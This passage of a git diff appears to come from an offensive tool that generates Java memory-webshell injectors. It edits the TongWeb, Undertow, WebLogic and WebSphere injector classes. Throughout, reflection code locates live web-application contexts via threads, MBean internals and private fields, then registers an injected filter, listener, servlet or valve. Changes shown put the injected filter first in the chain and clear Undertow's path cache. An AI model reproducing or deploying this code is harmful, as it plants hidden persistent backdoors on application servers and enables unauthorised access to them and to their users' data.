-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
-            }
-        }
-        return contexts;
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
         String filterClassName = getClassName();
         Object filterDef;
         Object filterMap;
+        Class<?> filterMapClass;
         Constructor<?> constructor;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tongweb 7
             constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
             filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
+            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             try {
                 // tongweb 6
                 constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                 filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
-                filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
+                filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
+                filterMap = filterMapClass.newInstance();
             } catch (Exception e) {
                 // tongweb 8
                 constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                 filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
-                filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
+                filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
+                filterMap = filterMapClass.newInstance();
             }
         }
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
         invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
-        invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+
+        // addFilterMapFirst
+        Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
+        Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
+        results[0] = filterMap;
+        System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
+        setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
 
         constructor.setAccessible(true);
         Object filterConfig = constructor.newInstance(context, filterDef);
@@ -221,8 +232,7 @@ public class TongWebFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -239,30 +249,41 @@ public class TongWebFilterInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
+
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        Class<?> clazz = obj.getClass();
+        for (Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
             try {
-                Field field = clazz.getDeclaredField(name);
+                return clazz.getDeclaredField(name);
-                field.setAccessible(true);
+            } catch (NoSuchFieldException ignored) {
-                return field.get(obj);
+
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
             }
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
 
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java

@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -218,8 +218,7 @@ public class TongWebListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -236,12 +235,8 @@ public class TongWebListenerInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java

@@ -35,7 +35,7 @@ public class TongWebValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java

@@ -7,7 +7,10 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
         return c + "(" + r + ")";
     }
 
+    @SuppressWarnings("Duplicates")
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
         Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
         invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
         invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
+        // invalidate cache
+        invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
     }
 
     @SuppressWarnings("unchecked")
@@ -213,8 +219,7 @@ public class UndertowFilterInjector {
 
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -231,12 +236,8 @@ public class UndertowFilterInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

@@ -40,7 +40,7 @@ public class UndertowListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -191,8 +191,7 @@ public class UndertowListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -209,12 +208,8 @@ public class UndertowListenerInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

@@ -44,7 +44,7 @@ public class UndertowServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -213,8 +213,7 @@ public class UndertowServletInjector {
 
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -231,12 +230,8 @@ public class UndertowServletInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -1,13 +1,17 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
+import javax.management.MBeanServer;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.reflect.Array;
+import java.lang.management.ManagementFactory;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
         return c + "(" + r + ")";
     }
 
-    public static Object[] getContextsByMbean() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-        theOneMethod.setAccessible(true);
-        Object serverRuntime = theOneMethod.invoke(null);
-        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-        getApplicationRuntimesMethod.setAccessible(true);
-        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
-        for (int i = 0; i < applicationRuntimeSize; i++) {
-            Object applicationRuntime = Array.get(applicationRuntimes, i);
-            try {
-                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
-                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
-                int componentRuntimeSize = Array.getLength(componentRuntimes);
-                for (int j = 0; j < componentRuntimeSize; j++) {
-                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
-                    if (webAppServletContextClass.isInstance(context)) {
-                        webappContexts.add(context);
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-
-            try {
-                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
-                for (Object componentRuntime : childrenSet) {
-                    try {
-                        Object context = getFieldValue(componentRuntime, "context");
-                        if (webAppServletContextClass.isInstance(context)) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Object[] getContextsByThreads() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread != null) {
-                Object workEntry = getFieldValue(thread, "workEntry");
-                if (workEntry != null) {
-                    try {
-                        Object context = null;
-                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
-                        if (connectionHandler != null) {
-                            Object request = getFieldValue(connectionHandler, "request");
-                            if (request != null) {
-                                context = getFieldValue(request, "context");
-                            }
-                        }
-                        if (context == null) {
-                            context = getFieldValue(workEntry, "context");
-                        }
-
-                        if (context != null) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            }
-        }
-        return webappContexts.toArray();
-    }
-
     /**
      * weblogic.servlet.internal.WebAppServletContext
      * /opt/oracle/wls1036/server/lib/weblogic.jar
      * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
      */
-    public static Set<Object> getContext() {
+    public static Set<Object> getContext() throws Exception {
         Set<Object> webappContexts = new HashSet<Object>();
-        try {
+        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
-            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
+        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
-        } catch (Throwable ignored) {
+        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+            String key = entry.getKey();
+            if (key.contains("Type=WebAppComponentRuntime")) {
+                Object value = entry.getValue();
+                Object managedResource = getFieldValue(value, "managedResource");
+                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+                    webappContexts.add(getFieldValue(managedResource, "context"));
+                }
+            }
         }
         try {
-            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
+            try {
+                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                request = getFieldValue(connectionHandler, "request");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                request = workEntry;
+            }
+            if (request != null) {
+                webappContexts.add(getFieldValue(request, "context"));
+            }
         } catch (Throwable ignored) {
         }
         return webappContexts;
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
 
     @SuppressWarnings("unchecked")
     public void inject(Object context, Object filter) throws Exception {
-        Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
+        Object filterManager = invokeMethod(context, "getFilterManager", null, null);
-        for (Object obj : filters.keySet()) {
+        if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
-            if (obj.toString().contains(getClassName())) {
                 return;
         }
-        }
-        Object filterManager = invokeMethod(context, "getFilterManager", null, null);
-        Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
-        Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
-        cachedClasses.put(getClassName(), filter.getClass());
         invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
         List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
-        Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
+        Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
-        filterPatternList.add(0, currentMapping);
+        filterPatternList.add(0, curFilterInfo);
     }
 
     @Override
@@ -248,8 +191,7 @@ public class WebLogicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -266,12 +208,8 @@ public class WebLogicFilterInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -1,16 +1,15 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
+import javax.management.MBeanServer;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.management.ManagementFactory;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.Arrays;
+import java.util.*;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
@@ -40,7 +39,7 @@ public class WebLogicListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -75,88 +74,39 @@ public class WebLogicListenerInjector {
         return c + "(" + r + ")";
     }
 
-    static Object[] getContextsByMbean() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-        theOneMethod.setAccessible(true);
-        Object serverRuntime = theOneMethod.invoke(null);
-        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-        getApplicationRuntimesMethod.setAccessible(true);
-        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
-        for (int i = 0; i < applicationRuntimeSize; i++) {
-            Object applicationRuntime = Array.get(applicationRuntimes, i);
-            try {
-                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
-                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
-                int componentRuntimeSize = Array.getLength(componentRuntimes);
-                for (int j = 0; j < componentRuntimeSize; j++) {
-                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
-                    if (webAppServletContextClass.isInstance(context)) {
-                        webappContexts.add(context);
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
 
-            try {
+    /**
-                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+     * weblogic.servlet.internal.WebAppServletContext
-                for (Object componentRuntime : childrenSet) {
+     * /opt/oracle/wls1036/server/lib/weblogic.jar
-                    try {
+     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
-                        Object context = getFieldValue(componentRuntime, "context");
+     */
-                        if (webAppServletContextClass.isInstance(context)) {
+    public static Set<Object> getContext() throws Exception {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Object[] getContextsByThreads() throws Throwable {
         Set<Object> webappContexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
-        for (Thread thread : threads) {
+        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
-            if (thread != null) {
+        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
-                Object workEntry = getFieldValue(thread, "workEntry");
+            String key = entry.getKey();
-                if (workEntry != null) {
+            if (key.contains("Type=WebAppComponentRuntime")) {
+                Object value = entry.getValue();
+                Object managedResource = getFieldValue(value, "managedResource");
+                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+                    webappContexts.add(getFieldValue(managedResource, "context"));
+                }
+            }
+        }
+        try {
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
             try {
-                        Object context = null;
                 Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
-                        if (connectionHandler != null) {
+                request = getFieldValue(connectionHandler, "request");
-                            Object request = getFieldValue(connectionHandler, "request");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                request = workEntry;
+            }
             if (request != null) {
-                                context = getFieldValue(request, "context");
+                webappContexts.add(getFieldValue(request, "context"));
             }
-                        }
-                        if (context == null) {
-                            context = getFieldValue(workEntry, "context");
-                        }
-
-                        if (context != null) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Set<Object> getContext() {
-        Set<Object> webappContexts = new HashSet<Object>();
-        try {
-            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-        } catch (Throwable ignored) {
-        }
-        try {
-            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
         } catch (Throwable ignored) {
         }
         return webappContexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -1,10 +1,12 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
+import javax.management.MBeanServer;
 import javax.servlet.Servlet;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.management.ManagementFactory;
 import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
@@ -45,7 +47,7 @@ public class WebLogicServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -80,88 +82,39 @@ public class WebLogicServletInjector {
         return c + "(" + r + ")";
     }
 
-    public static Object[] getContextsByMbean() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-        theOneMethod.setAccessible(true);
-        Object serverRuntime = theOneMethod.invoke(null);
-        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-        getApplicationRuntimesMethod.setAccessible(true);
-        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
-        for (int i = 0; i < applicationRuntimeSize; i++) {
-            Object applicationRuntime = Array.get(applicationRuntimes, i);
-            try {
-                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
-                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
-                int componentRuntimeSize = Array.getLength(componentRuntimes);
-                for (int j = 0; j < componentRuntimeSize; j++) {
-                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
-                    if (webAppServletContextClass.isInstance(context)) {
-                        webappContexts.add(context);
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
 
-            try {
+    /**
-                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+     * weblogic.servlet.internal.WebAppServletContext
-                for (Object componentRuntime : childrenSet) {
+     * /opt/oracle/wls1036/server/lib/weblogic.jar
-                    try {
+     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
-                        Object context = getFieldValue(componentRuntime, "context");
+     */
-                        if (webAppServletContextClass.isInstance(context)) {
+    public static Set<Object> getContext() throws Exception {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Object[] getContextsByThreads() throws Throwable {
         Set<Object> webappContexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
-        for (Thread thread : threads) {
+        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
-            if (thread != null) {
+        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
-                Object workEntry = getFieldValue(thread, "workEntry");
+            String key = entry.getKey();
-                if (workEntry != null) {
+            if (key.contains("Type=WebAppComponentRuntime")) {
+                Object value = entry.getValue();
+                Object managedResource = getFieldValue(value, "managedResource");
+                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+                    webappContexts.add(getFieldValue(managedResource, "context"));
+                }
+            }
+        }
+        try {
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
             try {
-                        Object context = null;
                 Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
-                        if (connectionHandler != null) {
+                request = getFieldValue(connectionHandler, "request");
-                            Object request = getFieldValue(connectionHandler, "request");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                request = workEntry;
+            }
             if (request != null) {
-                                context = getFieldValue(request, "context");
+                webappContexts.add(getFieldValue(request, "context"));
             }
-                        }
-                        if (context == null) {
-                            context = getFieldValue(workEntry, "context");
-                        }
-
-                        if (context != null) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Set<Object> getContext() {
-        Set<Object> webappContexts = new HashSet<Object>();
-        try {
-            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-        } catch (Throwable ignored) {
-        }
-        try {
-            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
         } catch (Throwable ignored) {
         }
         return webappContexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell.injector.websphere;
 
-import javax.servlet.Filter;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
 /**
- * tested v7、v8
- * update  2023/07/08
- *
  * @author ReaJason
  */
 public class WebSphereFilterInjector {
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
